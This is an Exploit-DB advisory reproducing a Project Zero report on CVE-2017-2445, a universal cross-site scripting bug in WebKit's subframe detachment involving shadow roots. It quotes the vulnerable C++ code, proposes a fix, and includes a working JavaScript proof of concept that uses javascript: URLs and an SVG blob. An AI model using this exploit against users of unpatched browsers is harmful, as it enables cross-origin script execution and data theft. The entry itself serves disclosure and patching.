Apple WebKit 10.0.2(12602.3.12.0.1) - 'disconnectSubframes' Universal Cross-Site Scripting

EDB-ID: 41802
Author: Google Security Research
Published: 2017-04-04
CVE: CVE-2017-2445
Type: Webapps
Platform: Multiple
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1074 

When an element is removed from a document, the function |disconnectSubframes| is called to detach its subframes(iframe tag, object tag, etc.).

Here is a snippet of |disconnectSubframes|.

void disconnectSubframes(ContainerNode& root, SubframeDisconnectPolicy policy)
{
...
Vector<Ref<HTMLFrameOwnerElement>> frameOwners;

if (policy == RootAndDescendants) {
if (is<HTMLFrameOwnerElement>(root))
frameOwners.append(downcast<HTMLFrameOwnerElement>(root));
}

collectFrameOwners(frameOwners, root);

// Must disable frame loading in the subtree so an unload handler cannot
// insert more frames and create loaded frames in detached subtrees.
SubframeLoadingDisabler disabler(root);

bool isFirst = true;
for (auto& owner : frameOwners) {
// Don't need to traverse up the tree for the first owner since no
// script could have moved it.
if (isFirst || root.containsIncludingShadowDOM(&owner.get()))
owner.get().disconnectContentFrame();
isFirst = false;
}
}

The bug is that it doesn't consider |root|'s shadowroot. So any subframes in the shadowroot will be never detached.

It should be like:

...
collectFrameOwners(frameOwners, root);

if (is<Element>(root)) {
Element& element = downcast<Element>(root);
if (ShadowRoot* shadowRoot = element.shadowRoot())
collectFrameOwners(frameOwners, *shadowRoot);
}
...


PoC:
-->

var d = document.body.appendChild(document.createElement("div"));
var s = d.attachShadow({mode: "open"});

var f = s.appendChild(document.createElement("iframe"));

f.onload = () => {
f.onload = null;

f.src = "javascript:alert(location)";

var xml = `
<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.documentElement.appendChild(parent.d);

</sc` + `ript>
<element a="1" a="2" />
</svg>`;

var v = document.body.appendChild(document.createElement("iframe"));
v.src = URL.createObjectURL(new Blob([xml], {type: "text/xml"}));
};

f.src = "https://abc.xyz/";

<!--
Tested on Safari 10.0.2(12602.3.12.0.1)

I didn’t notice that the method shadowRoot is declared in Node.h. So the following would better make sense.

collectFrameOwners(frameOwners, root);

if (ShadowRoot* shadowRoot = root.shadowRoot())
collectFrameOwners(frameOwners, *shadowRoot);
-->

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